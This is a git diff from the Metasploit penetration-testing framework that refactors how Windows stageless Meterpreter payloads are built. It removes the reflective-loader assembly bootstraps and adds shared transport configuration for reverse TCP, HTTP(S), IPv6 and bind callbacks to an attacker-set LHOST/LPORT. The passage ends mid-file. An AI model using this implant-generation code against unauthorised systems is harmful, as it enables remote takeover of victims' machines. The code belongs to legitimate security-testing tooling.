- -module Payload::Windows::StagelessMeterpreter - - include Msf::Payload::Windows - include Msf::Payload::Single - include Msf::ReflectiveDLLLoader - - def asm_invoke_metsrv(opts={}) - asm = %Q^ - ; prologue - dec ebp ; 'M' - pop edx ; 'Z' - call $+5 ; call next instruction - pop ebx ; get the current location (+7 bytes) - push edx ; restore edx - inc ebp ; restore ebp - push ebp ; save ebp for later - mov ebp, esp ; set up a new stack frame - ; Invoke ReflectiveLoader() - ; add the offset to ReflectiveLoader() (0x????????) - add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} - call ebx ; invoke ReflectiveLoader() - ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) - ; offset from ReflectiveLoader() to the end of the DLL - add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} - push ebx ; push the pointer to the extension list - push 4 ; indicate that we have attached - push eax ; push some arbitrary value for hInstance - mov ebx, eax ; save DllMain for another call - call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) - ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) - ; push the exitfunk value onto the stack - push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} - push 5 ; indicate that we have detached - push eax ; push some arbitrary value for hInstance - call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) - ^ - - asm - end - - def generate_stageless_x86(url = nil) - dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll')) - - conf = { - :rdi_offset => offset, - :length => dll.length, - :exitfunk => datastore['EXITFUNC'] - } - - asm = asm_invoke_metsrv(conf) - - # generate the bootstrap asm - bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string - - # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if bootstrap.length > 62 - print_error("Stageless Meterpreter generated with oversized x86 bootstrap.") - return - end - - # patch the binary with all the stuff - dll[0, bootstrap.length] = bootstrap - - # the URL might not be given, as it might be patched in some other way - if url - # Patch the URL using the patcher as this supports both ASCII and WCHAR. - unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") - # If the patching failed this could mean that we are somehow - # working with outdated binaries, so try to patch with the - # old stuff. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") - end - end - - # Patch in the timeout options - timeout_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } - - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) - - # if a block is given then call that with the meterpreter dll - # so that custom patching can happen if required - yield dll if block_given? - - # append each extension to the payload, including - # the size of the extension - unless datastore['EXTENSIONS'].nil? - datastore['EXTENSIONS'].split(',').each do |e| - e = e.strip.downcase - ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll')) - - # append the size, offset to RDI and the payload itself - dll << [ext.length].pack('V') + ext - end - end - - # Terminate the "list" of extensions - dll + [0].pack('V') - end - -end - -end - diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index 1aed1ee3cf..73c83c961e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -14,6 +15,7 @@ module Msf module Payload::Windows::BindTcp_x64 + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -42,14 +44,8 @@ module Payload::Windows::BindTcp_x64 generate_bind_tcp(conf) end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_bind_tcp(opts) end # diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb index 0abde77859..4b478d3e3f 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader.rb @@ -34,7 +34,7 @@ module Payload::Windows::MeterpreterLoader_x64 )) end - def asm_invoke_dll(opts={}) + def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue db 0x4d, 0x5a ; 'MZ' = "pop r10" @@ -70,7 +70,7 @@ module Payload::Windows::MeterpreterLoader_x64 :length => dll.length } - asm = asm_invoke_dll(asm_opts) + asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 05158982c9..e726687572 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -14,6 +15,7 @@ module Msf module Payload::Windows::ReverseTcp_x64 + include Msf::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -66,15 +68,8 @@ module Payload::Windows::ReverseTcp_x64 Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end - def generate_transport_config(opts={}) - { - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + def transport_config(opts={}) + transport_config_reverse_tcp(opts) end # diff --git a/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb b/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb deleted file mode 100644 index 869f1a51bf..0000000000 --- a/lib/msf/core/payload/windows/x64/stageless_meterpreter.rb +++ /dev/null @@ -1,121 +0,0 @@ -#-*- coding: binary -*- - -require 'msf/core' -require 'rex/payloads/meterpreter/patch' - -module Msf - -## -# -# Implements stageless invocation of metsrv in x64 -# -## - -module Payload::Windows::StagelessMeterpreter_x64 - - include Msf::Payload::Windows - include Msf::Payload::Single - include Msf::ReflectiveDLLLoader - - def asm_invoke_metsrv(opts={}) - asm = %Q^ - ; prologue - db 0x4d, 0x5a ; 'MZ' = "pop r10" - push r10 ; back to where we started - push rbp ; save rbp - mov rbp, rsp ; set up a new stack frame - sub rsp, 32 ; allocate some space for calls. - ; GetPC - call $+5 ; relative call to get location - pop rbx ; pop return value - ; Invoke ReflectiveLoader() - ; add the offset to ReflectiveLoader() - add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)} - call rbx ; invoke ReflectiveLoader() - ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) - ; offset from ReflectiveLoader() to the end of the DLL - add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} - mov r8, rbx ; r8 points to the extension list - mov rbx, rax ; save DllMain for another call - push 4 ; push up 4, indicate that we have attached - pop rdx ; pop 4 into rdx - call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket) - ; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) - ; push the exitfunk value onto the stack - mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]} - push 5 ; push 5, indicate that we have detached - pop rdx ; pop 5 into rdx - call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk) - ^ - - asm - end - - def generate_stageless_x64(url = nil) - dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll')) - - conf = { - :rdi_offset => offset, - :length => dll.length, - :exitfunk => datastore['EXITFUNC'] - } - - asm = asm_invoke_metsrv(conf) - - # generate the bootstrap asm - bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string - - # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry - if bootstrap.length > 62 - print_error("Stageless Meterpreter generated with oversized x64 bootstrap.") - return - end - - # patch the binary with all the stuff - dll[0, bootstrap.length] = bootstrap - - # the URL might not be given, as it might be patched in some other way - if url - # Patch the URL using the patcher as this supports both ASCII and WCHAR. - unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") - # If the patching failed this could mean that we are somehow - # working with outdated binaries, so try to patch with the - # old stuff. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") - end - end - - # Patch in the timeout options - timeout_opts = { - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } - - Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) - - # if a block is given then call that with the meterpreter dll - # so that custom patching can happen if required - yield dll if block_given? - - # append each extension to the payload, including - # the size of the extension - unless datastore['EXTENSIONS'].nil? - datastore['EXTENSIONS'].split(',').each do |e| - e = e.strip.downcase - ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll')) - - # append the size, offset to RDI and the payload itself - dll << [ext.length].pack('V') + ext - end - end - - # Terminate the "list" of extensions - dll + [0].pack('V') - end - -end - -end - diff --git a/lib/msf/core/transport_config.rb b/lib/msf/core/transport_config.rb new file mode 100644 index 0000000000..c1996c3ac7 --- /dev/null +++ b/lib/msf/core/transport_config.rb @@ -0,0 +1,66 @@ +# -*- coding: binary -*- + +require 'msf/core/payload/uuid_options' + +## +# This module contains helper functions for creating the transport +# configuration stubs that are used for Meterpreter payloads. +## +module Msf::TransportConfig + + include Msf::Payload::UUIDOptions + + def transport_config_reverse_tcp(opts={}) + config = transport_config_bind_tcp(opts) + config[:lhost] = datastore['LHOST'] + config + end + + def transport_config_reverse_ipv6_tcp(opts={}) + config = transport_config_reverse_tcp(opts) + config[:scheme] = 'tcp6' + config[:scope_id] = datastore['SCOPEID'] + config + end + + def transport_config_bind_tcp(opts={}) + { + :scheme => 'tcp', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + + def transport_config_reverse_https(opts={}) + config = transport_config_reverse_http(opts) + config[:scheme] = 'https' + config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + config + end + + def transport_config_reverse_http(opts={}) + # most cases we'll have a URI already, but in case we don't + # we should ask for a connect to happen given that this is + # going up as part of the stage. + uri = opts[:uri] + unless uri + sum = uri_checksum_lookup(:connect) + uri = generate_uri_uuid(sum, opts[:uuid]) + end + + { + :scheme => 'http', + :lhost => datastore['LHOST'], + :lport => datastore['LPORT'].to_i, + :uri => uri, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + end + +end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index dd35502e31..12fda073ee 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -74,6 +74,7 @@ private end url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" + url << "?#{opts[:scope_id]}" if opts[:scope_id] url << "#{opts[:uri]}/" if opts[:uri] # if the transport URI is for a HTTP payload we need to add a stack diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 8fbd232db6..81837ca006 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -4,8 +4,9 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/bind_tcp' -require 'msf/core/payload/windows/stageless_meterpreter' +require 'msf/core/payload/windows/_meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,9 +39,32 @@ module Metasploit4 end def generate - # blank LHOST indicates bind payload - url = "tcp://:#{datastore['LPORT']}" - generate_stageless_x86(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_bind_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 0d89b22106..c4e5e8de39 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -4,9 +4,10 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/handler/reverse_http/stageless' -require 'msf/core/payload/windows/stageless_meterpreter' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -14,7 +15,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions @@ -35,13 +39,32 @@ module Metasploit4 end def generate - # generate a stageless payload using the x86 version of - # the stageless generator - opts = { - :ssl => false, - :generator => method(:generate_stageless_x86) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_http(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') } - generate_stageless(opts) + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 1dc5f435f6..d58fa82c29 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -4,9 +4,10 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/handler/reverse_http/stageless' -require 'msf/core/payload/windows/stageless_meterpreter' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -14,7 +15,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions @@ -35,13 +39,31 @@ module Metasploit4 end def generate - # generate a stageless payload using the x86 version of - # the stageless generator - opts = { - :ssl => true, - :generator => method(:generate_stageless_x86) - } - generate_stageless(opts) + stage_meterpreter + generate_config end + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_https(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index e05e50306a..3057687037 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -4,8 +4,9 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/windows/stageless_meterpreter' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -36,8 +40,32 @@ module Metasploit4 end def generate - url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}" - generate_stageless_x86(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_ipv6_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 72c81fa2ca..91214e5263 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/windows/stageless_meterpreter' +require 'msf/core/payload/windows/meterpreter_loader' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +13,9 @@ module Metasploit3 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,8 +37,32 @@ module Metasploit3 end def generate - url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" - generate_stageless_x86(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X86 + }) + end + + # create the configuration block, which for staged connections is really simple. + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 80bbb30400..b33dd32aa5 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -4,8 +4,9 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/bind_tcp' -require 'msf/core/payload/windows/x64/stageless_meterpreter' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter_x64 + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,9 +39,32 @@ module Metasploit4 end def generate - # blank LHOST indicates bind payload - url = "tcp://:#{datastore['LPORT']}" - generate_stageless_x64(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block, which for staged connections is really simple. + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_bind_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index f14945bdc8..60bfde2bf2 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/handler/reverse_http/stageless' -require 'msf/core/payload/windows/x64/stageless_meterpreter' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -14,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter_x64 + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions @@ -35,13 +38,32 @@ module Metasploit4 end def generate - # generate a stageless payload using the x64 version of - # the stageless generator - opts = { - :ssl => false, - :generator => method(:generate_stageless_x64) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_http(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') } - generate_stageless(opts) + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 52073ddf7e..5b124b5b74 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -4,9 +4,10 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/handler/reverse_http/stageless' -require 'msf/core/payload/windows/x64/stageless_meterpreter' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -14,7 +15,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter_x64 + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Handler::ReverseHttp::Stageless include Msf::Sessions::MeterpreterOptions @@ -35,13 +39,32 @@ module Metasploit4 end def generate - # generate a stageless payload using the x64 version of - # the stageless generator - opts = { - :ssl => true, - :generator => method(:generate_stageless_x64) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_http(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') } - generate_stageless(opts) + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 7722e19c76..0eb82bf986 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -4,8 +4,9 @@ ## require 'msf/core' +require 'msf/core/transport_config' require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/windows/x64/stageless_meterpreter' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter_x64 + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -36,8 +40,32 @@ module Metasploit4 end def generate - url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}" - generate_stageless_x64(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_ipv6_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 5ffd3f24eb..9b4f3817a6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -5,7 +5,8 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -require 'msf/core/payload/windows/x64/stageless_meterpreter' +require 'msf/core/transport_config' +require 'msf/core/payload/windows/x64/meterpreter_loader' require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' @@ -13,7 +14,10 @@ module Metasploit4 CachedSize = :dynamic - include Msf::Payload::Windows::StagelessMeterpreter_x64 + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -35,8 +39,32 @@ module Metasploit4 end def generate - url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" - generate_stageless_x64(url) + stage_meterpreter + generate_config + end + + def generate_config(opts={}) + unless opts[:uuid] + opts[:uuid] = Msf::Payload::UUID.new({ + :platform => 'windows', + :arch => ARCH_X64 + }) + end + + # create the configuration block + config_opts = { + :arch => opts[:uuid].arch, + :exitfunk => datastore['EXITFUNC'], + :expiration => datastore['SessionExpirationTimeout'].to_i, + :uuid => opts[:uuid], + :transports => [transport_config_reverse_tcp(opts)], + :extensions => (datastore['EXTENSIONS'] || '').split(',') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b end end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index bd1c5de422..5e2888d33d 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -175,7 +175,7 @@ module 